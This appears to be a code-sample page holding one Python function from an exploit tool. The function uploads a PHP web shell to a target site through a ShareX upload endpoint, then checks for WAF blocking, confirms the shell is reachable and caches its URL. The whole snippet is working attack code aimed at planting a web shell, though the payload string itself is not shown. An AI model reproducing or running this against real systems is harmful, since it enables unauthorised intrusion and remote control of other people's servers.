Ejemplo n.º 1
0
    def upload_shell(upload_url, form_name, secret, field_name, verbose,
                     cache_enabled):
        """ Upload shell to target site """
        res = ShareX.upload(upload_url,
                            io.BytesIO(Shell.PAYLOAD.encode()),
                            file_name=Exploit.MAGIC,
                            form_name=form_name,
                            secret=secret,
                            field_name=field_name)

        res_code = res.status_code
        res_body = res.text.strip()

        if res.status_code != 200:
            if res_code == 403:
                Logger.error('target blocked file upload. waf?')

            elif res_code == 404:
                Logger.error('file upload endpoint not found')

            else:
                Logger.error('unknown response code')

        for error in ShareX.Errors:
            if error.value['content'].lower() in res_body.lower():
                reason = error.value['reason'].lower()
                Logger.error(f'failed to upload shell: \x1b[95m{reason}')

        shell_url = Exploit.get_shell_url(res_body, upload_url)

        if not Exploit.check(shell_url):
            Logger.error('target does not appear vulnerable')

        Logger.success('php web shell uploaded')

        if verbose:
            Logger.info(f'location: \x1b[95m{shell_url}')

        if cache_enabled:
            Cache.save(upload_url, shell_url)
            Logger.success('results saved to cache')

        return shell_url